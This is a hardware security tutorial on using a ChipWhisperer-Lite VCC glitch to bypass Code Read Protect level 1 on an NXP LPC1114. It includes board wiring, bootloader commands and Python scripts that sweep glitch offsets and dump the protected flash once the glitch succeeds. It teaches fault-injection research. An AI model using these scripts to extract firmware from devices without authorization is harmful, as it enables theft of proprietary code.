Tutorial A9 Bypassing LPC1114 Read Protect

This tutorial will build upon information covered in Tutorial A3 VCC Glitch Attacks and Tutorial A2 Introduction to Glitch Attacks (including Glitch Explorer) and will make extensive use of the Glitch Explorer and scripting. It is assumed that you have read and understood this material before coming here.

Background on Code Read Protect

To help protect proprietary code from being dumped via a bootloader or a debugging interface, many microcontrollers include some mechanism that locks down the flash and prevents reads. In the case of NXP's LPC1114, this is done by reading a value from flash during the boot sequence, with different values corresponding to different levels of protection. As is shown in the figure below, there are 4 levels of read protection, with the rest of the values representing an unlocked device. This makes this a great target for glitching, as corrupting one bit from this read will unlock the device and give us full access. Since higher CRP levels are harder (or in the case of CRP level 3, "impossible") to remove, we'll be using the device in CRP level 1.

Name Value in FLASH JTAG/SWD Serial Bootloader (ISP)
NO_ISP 0x4E697370 enabled disabled.
CRP1 0x12345678 disabled Subset of commands only available. Read memory disabled. Sector erase and mass erase possible (which also removes CRP).
CRP2 0x87654321 disabled Subset of commands only available. Read memory disabled. Mass erase only (which also removes CRP).
CRP3 0x43218765 disabled disabled. Claimed impossible to recover from since no reprogramming interface.
INVALID Any other Value enabled enabled.

This was first published by Chris Gerlinsky at RECON Brussels. You can see his slides here or watch his presentation here. It was re-created by Dmitry Nedospasov on his blog, which has additional details and examples of how you can achieve this attack.

We'll be recreating the attack with the ChipWhisperer, to show the value of this modular platform in quickly testing new attacks.

Hardware Setup

ChipWhisperer-Lite (CW1173) with LPC-P1114 Development Board

To allow the ChipWhisperer-Lite to interface with this board, we'll need to make some small modifications to the board:

  1. Short jumper BLD_E to put the device in bootloader mode.
  2. Solder a wire from GND to P0_3 (Second column from the left, fourth row from the bottom) to put the bootloader in UART mode.
  3. Remove C1 and C4 from the board.
  4. Cut the traces on 3.3V_CORE and 3.3V_IO_E.
  5. Add a 12-ohm resistor on the 3.3V_CORE jumper.
  6. Add an SMA connector to the board and connect Vcc to the center pin and GND to one of the outside pins (or just use a jumper instead of fancy SMA).
  7. Add a header pin/wire to RST (First column from the left, third row from the bottom). The CW-Lite needs two connection points, as we'll be both resetting this pin and triggering off of it.

The following shows the required modifications (clock for full size):

A9 LPC1114 CHANGES.jpg

Next, we'll need to connect the CW-Lite to the connect pins on the dev board to pins on CW-Lite's 20 pin header:

  1. Connect pin 1 of UEXT (Vcc) to pin 3 on the CW-Lite
  2. Connect pin 2 of UEXT (GND) to pin 2 on the CW-Lite
  3. Connect pin 3 of UEXT (TXD) to pin 10 on the CW-Lite
  4. Connect pin 4 of UEXT (RXD) to pin 12 on the CW-Lite
  5. Connect RST (the 3 header pins soldered on) to pins 5 (nRST) and 16 (GPIO4) on the CW-Lite
  6. Finally, attach an SMA cable between the one you added to the board and the GLITCH connector on the CW-Lite. If you'd like instead you can also use a SMA Tee to do both measurement & glitch.

A9 LPC CWLITE Conn.jpg.jpg

ChipWhisperer-Lite (CW1173) with CW308 Target Board

Coming soon!

Communicating with the Bootloader

Before actually glitching the bootloader, we'll need to be able to communicate with it, both to check the read protect status and to read contents of the flash once we're in. The bootloader is described in Chapter 26 of the LPC111x User Manual. [1] In UART mode, the device can communicate at a variety of baud rates in 8n1. The bootloader uses flow control, but communication will work fine without it. This is the default setup for the CW Capture software.

Before we can do any read operations, we'll need to properly initialize the bootloader. Note that the bootloader will echo back what is sent to it by default.

  1. Reset the device. This can be done by pulling the RST pin low from the CW Capture, or by pressing the RESET button on the dev board/CW308.
  2. Send a "?" to the device. It will use this to detect the baud rate. From now on, all messages should be terminated by "\r\n".
  3. The device will send "Synchronize\r\n".
  4. Respond with "Synchronize\r\n". The device will respond with "OK\r\n", though it will probably be "Synchronize\rOK\r\n" due to the echo.
  5. Send the frequency of the external clock in KHz. The dev board uses a 12MHz clock, so we should respond with "12000\r\n".
  6. The device will respond with "12000\rOK\r\n".

The device is now properly setup, so you can begin sending it commands. For example, to read 4 bytes from address 0, send "R 0 4\r\n". The device will respond with an error code (0-19, with 0 representing no error). If the read was ok, the device will respond with the memory in UU-Encoded format, along with a checksum. You should now respond with "OK\r\n" to let the device know its read was alright.

This read can fail for a variety of reasons, but the one we are most interested in is error 19, which is returned when the read fails due to the device being in RDP mode.

Decoding UU Encoded Data

The UU Encoding Wikipedia page is a good resource for UU encoding. Python includes functions for decoding UU strings to binary in the binascii module. Documentation can be found here. Note that the bootloader uses a backtick ('`') for 0 instead of a space (' '), meaning you need to replace the backticks with spaces in your UU Encoded string before decoding. Also note that the first character of a UU Encoded line is the length of the line + 32. This needs to be at the start of the line when it is passed to the decoding function. For an example, see the script at the bottom of this page.

Method 1 - ChipWhisperer Capture GUI

Firmware Setup

Since we're only attacking the bootloader, no firmware setup is required for this tutorial; however, if your device is not already in CRP mode 1, you'll need to put it into this mode.

Software Setup

  1. Connect to the ChipWhisperer Device by running the "connect_cwlite_simpleserial.py" script.
  2. Under the Scope Settings tab, setup the CLKGEN Module to generate a 100MHz clock:
    1. Under CLKGEN Settings, change "Desired Frequency" to 100MHz.
    2. Under ADC Clock, change "Source" to "CLKGEN x1 via DCM". If "DCM Locked" isn't checked, click "Reset ADC DCM" until it is.
  3. Set UART up:
    1. Under Target IOn Pins, set "Target IO1" to "Serial RXD" and "Target IO2" to "Serial TXD".
  4. Set the Vcc glitch up and make it trigger off an external trigger:
    1. Under CW Extra Settings/Trigger Pins, check "HS-Glitch Out Enable (Low Power)".
    2. Under Glitch Module, set "Glitch Trigger" to "Ext Trigger:Single-Shot".
    3. Set "Output Mode" to "Enable Only".
  5. Under the Target Settings tab:
    1. Set "Version" to 1.0
    2. Clear all of the Commands
    3. Set "Output Format" to "$GLITCH$54". This allows the glitch explorer to see when is being sent by the bootloader and limits the response to 54 characters.
  6. CW Capture records and stores traces by default. Since we don't need this functionality, we can speed up the glitch process by telling it not to record and display traces:
    1. Under the Generic Settings tab, set "Trace Format" to "None".
    2. Under the Results tab, set "Input" to "None".
  7. Since we may have to glitch over a long period of time, instead of changing the settings after every glitch attempt, we'll instead automate this by using a script to update the necessary glitch parameters, as well as do the setup for the bootloader.

Script Setup

Initial Settings

To make the Software Setup faster, the above settings can be set in your script. An example of this is shown in this tutorial's example script.

Automating the Glitch

First, create an object class to hold all of the methods that you'll be using to automate glitching. For this tutorial, we'll need access to the glitch explorer window, as well as the api:
class LPC_glitch(object):
    def __init__(self, ge_window, api):
        self.ge_window = ge_window
        self.api = api
Add 2 methods, one for setting the reset pin low, and one for setting the reset pin high. Having two methods will help make triggering off the glitch more precise:
    def rst_low(self, scope, target, project):
        scope.io.nrst = 'low'
    def rst_high(self, scope, target, project):
        scope.io.nrst = 'high'
Add a method to update the glitch parameters and tell the glitch explorer window about them. In this case, we care about the repeat (will determine how wide the glitch is) and the offset of the glitch from the trigger (how long after resetting the glitch happens). The following method covers a wide range, so you'll probably want to narrow things down a bit. Glitches between 5100 and 5300 with a repeat around 10 (on the board we used, glitching at 5211 with a repeat of 10 produced a lot of successes, while another worked better at 5181/11) seem to bypass the bootloader the best:
def update_parameters(self, scope, target, project):
        scope.glitch.ext_offset += 1
        if scope.glitch.ext_offset > 8000:
            scope.glitch.ext_offset = 1000
            scope.glitch.repeat += 1
        if self.ge_window:
            self.ge_window.add_data("Glitch Offset", scope.glitch.ext_offset)
            self.ge_window.add_data("Glitch Repeat", scope.glitch.repeat)
Create a method that checks the read protect status of the device. In this case, we'll need to setup the bootloader as described earlier and try a read. We can tell if the glitch is successful based on what is returned when we try to do a read command. To get access to the CW-Lite's UART, we'll need to use the target's serial driver via target.ser. Note that the delays are used to allow time for the device to respond. If you wanted to make this communication more reliable, you could read what is sent back and check it against what you expect:
def check_read_protect(self, scope, target, project):
        driver = target.ser
        driver.flush()
        driver.write("?")
        time.sleep(0.05)
        driver.write("Synchronized\r\n")
        time.sleep(0.05)
        driver.write("12000\r\n")
        time.sleep(0.05)
        driver.write("R 0 4\r\n")
Finally, you'll need to create your class and register its methods with the aux module. In this case, we're want to update the glitch parameters before the trace is taken, set the reset pin low before we arm, set it high after we arm, and check the read protect after we do the glitch:
glitcher = LPC_glitch(self.glitch_explorer, self.api)
self.aux_list.register(glitcher.update_parameters, "before_trace")
self.aux_list.register(glitcher.rst_low, "before_arm")
self.aux_list.register(glitcher.rst_high, "after_arm")
self.aux_list.register(glitcher.check_read_protect, "after_trace")

The Completed Script

At the end, you should have something that looks like this:
import time
try:
    scope = self.scope
    target = self.target
except NameError:
    pass

# Glitcher
class LPC_glitch(object):
    def __init__(self, ge_window, api):
        self.ge_window = ge_window
        self.api = api

    def update_parameters(self, scope, target, project):
        scope.glitch.ext_offset += 1
        if scope.glitch.ext_offset > 8000:
            scope.glitch.ext_offset = 1000
            scope.glitch.repeat += 1
        if self.ge_window:
            self.ge_window.add_data("Glitch Offset", scope.glitch.ext_offset)
            self.ge_window.add_data("Glitch Repeat", scope.glitch.repeat)

    def check_read_protect(self, scope, target, project):
        driver = target.ser
        driver.flush()
        driver.write("?")
        time.sleep(0.05)
        driver.write("Synchronized\r\n")
        time.sleep(0.05)
        driver.write("12000\r\n")
        time.sleep(0.05)
        driver.write("R 0 4\r\n")

    def rst_low(self, scope, target, project):
        scope.io.nrst = 'low'

    def rst_high(self, scope, target, project):
        scope.io.nrst = 'high'



#Create and register glitcher
glitcher = LPC_glitch(self.glitch_explorer, self.api)
self.aux_list.register(glitcher.update_parameters, "before_trace")
self.aux_list.register(glitcher.rst_low, "before_arm")
self.aux_list.register(glitcher.rst_high, "after_arm")
self.aux_list.register(glitcher.check_read_protect, "after_trace")

#Initial Setup
scope.adc.samples = 10000
scope.adc.offset = 0
scope.clock.adc_src = "clkgen_x1"
scope.trigger.triggers = "tio4"
scope.io.glitch_lp = True # this works, but doesn't update the GUI checkbox
scope.io.hs2 = None

scope.glitch.width = 40
scope.io.tio1 = "serial_rx"
scope.io.tio2 = "serial_tx"
scope.adc.basic_mode = "rising_edge"
scope.clock.clkgen_freq = 100000000
scope.glitch.clk_src = "clkgen"
scope.glitch.trigger_src = "ext_single"
scope.glitch.output = "enable_only"

target.baud = 38400
target.key_cmd = ""
target.go_cmd = ""
target.output_cmd = "$GLITCH$54"


self.project.setTraceFormat(None)

Using the Glitch Explorer

The last thing we need to do before beginning our glitches is to setup the Glitch Explorer to detect successful glitches. Since the bootloader sends back a specific error message when read protect is enabled, we can use that to tell if our glitch was successful or not. For example, you could search the string for "\r\n19\r\n" for a normal response, and search for "\r\n0\r\n for a successful response. Setup your Acquisition Settings to run for a while, and check back for successful glitches. If you're lucky, you'll find some glitches and can start reading flash memory.

GUI or Stand-Alone

This tutorial is split into two parts - the GUI part (here) and a stand-alone demo. You may find the stand-alone demo more useful and easier to run on your own, and is continued before.

Note that the stand-alone demo improves reliability by running the glitch with a 200 MHz CLKGEN frequency, giving you double the width and offset precision. In our testing that worked on a wider range of devices with the ChipWhisperer.

Method 2: Stand Alone Scripting for Stopping Glitch when Success & Dumping Memory

The easiest way to fully automate the breaking/dumping process is to use ChipWhisperer entirely without the GUI. This involves making a loop running through what you would normally do in the GUI (so resetting, arming the scope, setting up the bootloader, etc). An example script that breaks the bootloader and dumps the flash memory in various formats (UU encoded, binary, and ASCII encoded) is shown below. This script is also much faster than the GUI, so it much better for breaking the bootloader as well.

"""
Script to break LPC1114 bootloader and dump flash in files

For use without the CW GUI
"""
from __future__ import print_function

import sys
import binascii

#disable printing when glitch stuff is changed
from chipwhisperer.common.utils.parameter import Parameter
Parameter.printParameterPath = False


import time
import logging
import os
from collections import namedtuple
import numpy as np
import chipwhisperer as cw
from tqdm import trange
logging.basicConfig(level=logging.NOTSET)
scope = cw.scope()
target = cw.target(scope)
#Create and register glitcher

# Original attack done with 100 MHz clock - can be helpful to run this
# 2x faster to get better resolution, which seems useful for glitching certain boards
freq_multiplier = 2

#Initial Setup
scope.adc.samples = 10000
scope.adc.offset = 0
scope.clock.adc_src = "clkgen_x1"
scope.trigger.triggers = "tio4"
scope.io.glitch_lp = True
scope.io.hs2 = None

scope.glitch.width = 40
scope.io.tio1 = "serial_rx"
scope.io.tio2 = "serial_tx"
scope.adc.basic_mode = "rising_edge"
scope.clock.clkgen_freq = 100000000 * freq_multiplier
scope.glitch.clk_src = "clkgen"
scope.glitch.trigger_src = "ext_single"
scope.glitch.output = "enable_only"

target.baud = 38400
target.key_cmd = ""
target.go_cmd = ""
target.output_cmd = ""


# Glitcher
class LPC_glitch(object):
    def __init__(self, scope, target):
        self.scope = scope
        self.target = target
        self.serial = target.ser

    def setup_bootloader(self, delay = 0.05):
        self.serial.flush()
        self.serial.write("?")
        #wait for full response, since we need to make sure we don't throw off baud calc
        self.read_line(0)
        self.serial.write("Synchronized\r\n")
        self.read_line(10)
        self.read_line(10)

        self.serial.write("12000\r\n")
        self.read_line(10)
        self.read_line(10)

        self.serial.write("A 0\r\n") #turn echo off
        self.read_line(10)

        self.serial.flush()

    def check_err_rtn(self, s):
        if "0" in s:
            return True
        else:
            #sometimes reading the error code fails for some reason, so don't do anything
            #about these unexpected returns
            if "19" not in s:
                print( "Unexpected error code " + s)
            return False

    def get_read_string(self, timeout = 10):
        self.serial.write("R 0 4\r\n")
        return self.read_line(timeout)



    '''
    read flash in rd_len byte increments and store in uu, binary, and ascii files
    NOTE: rd_len should be chosen so that it is less than 45 bytes (since we can
    only handle 1 line at a time) and uu to binary is a whole number
    (ie rd_len * 4 / 3 is a whole number), as the decode doesn't like padding bytes

    start_addr and length must be 4 byte aligned (so divisible by 4)

    If unsure, just use the defaults
    '''
    def dump_flash(self, start_addr = 0, length = 0x8000, rd_len = 24):
        if start_addr % 4:
            print ("Address not 4 byte aligned!")
            return -1
        if length % 4:
            print ("Length not 4 byte aligned!")
            return -1

        #eat data return and checksum
        self.read_line()
        self.read_line()
        self.serial.write("OK\r\n")

        time.sleep(0.1)

        uu_file = open("uu_flash.txt", "w")
        ascii_file = open("ascii_flash.txt", "w")
        bin_file = open("bin_flash.bin", "wb")

        print ("Doing loop")
        for i in trange(start_addr, start_addr + length - 1, rd_len):
            self.serial.write("R {:d} {:d}\r\n".format(i, rd_len))
            err = self.read_line()

            #only checking addr errors at this point
            if "13" in err:
                #addr err
                print ("addr error: addr = {:d}".format(i))
                return -1

            flash = self.read_line(0)
            if flash:
                data_len = ord(flash[0]) - 32
                if rd_len != data_len:
                    print ("Unexpected data_len {:x}, expected {:x}".format(data_len, rd_len))
                    print ("Actual flash: " + flash)

                # Bootloader uses ` instead of space for 0
                data = flash.replace('`', " ")
                checksum = self.read_line() #eat checksum for now, can check it later


                self.serial.write("OK\r\n")
                try:
                    uu_file.write("0x{:08x}: ".format(i) + data + "\n")

                    binary_data = binascii.a2b_uu(data)
                    bin_file.write(binary_data)
                    ascii_file.write("0x{:08x}: ".format(i) + str(binascii.hexlify(binary_data)) + "\n")
                except binascii.Error as e:
                    print( "Invalid data: " + data)
                    print( "\nError: " + str(e) + "\n")


        uu_file.close()
        bin_file.close()
        ascii_file.close()
        return 0

    def read_line(self, timeout = 10, term = '\n'):
        ch = " "
        s = ""
        while ch != "\n" and ch != "":
            ch = self.serial.read(1, timeout)
            s += ch
        return s

    def rst_low(self):
        self.scope.io.nrst = 'low'
    def rst_high(self):
        self.scope.io.nrst = 'high'

glitcher = LPC_glitch(scope, target)

Range = namedtuple("Range", ["min", "max", "step"])
offset_range = Range(5180*freq_multiplier, 5185*freq_multiplier, 1)
repeat_range = Range(8*freq_multiplier, 15*freq_multiplier, 1)

scope.glitch.repeat = repeat_range.min
print("Entering glitch loop")

# it may take quite a few cycles to get a glitch, so just attempt until we get it
while True:
    scope.glitch.ext_offset = offset_range.min
    if scope.glitch.repeat >= repeat_range.max:
        scope.glitch.repeat = repeat_range.min
    while scope.glitch.ext_offset < offset_range.max:

        glitcher.rst_low()

        scope.arm()

        glitcher.rst_high()

        timeout = 50
        while target.isDone() is False:
            timeout -= 1
            time.sleep(0.01)

        glitcher.setup_bootloader()

        s = glitcher.get_read_string()

        print( "Read string: " + s)
        print( "Offset = {:04d}, Repeat = {:02d}".format(scope.glitch.ext_offset, scope.glitch.repeat))
        if glitcher.check_err_rtn(s):
            print ("Success!")
            glitcher.dump_flash()
            cleanup_exit()
        scope.glitch.ext_offset += offset_range.step

    scope.glitch.repeat += repeat_range.step
def cleanup_exit():
    scope.dis()
    target.dis()
    exit()
    
cleanup_exit()

Links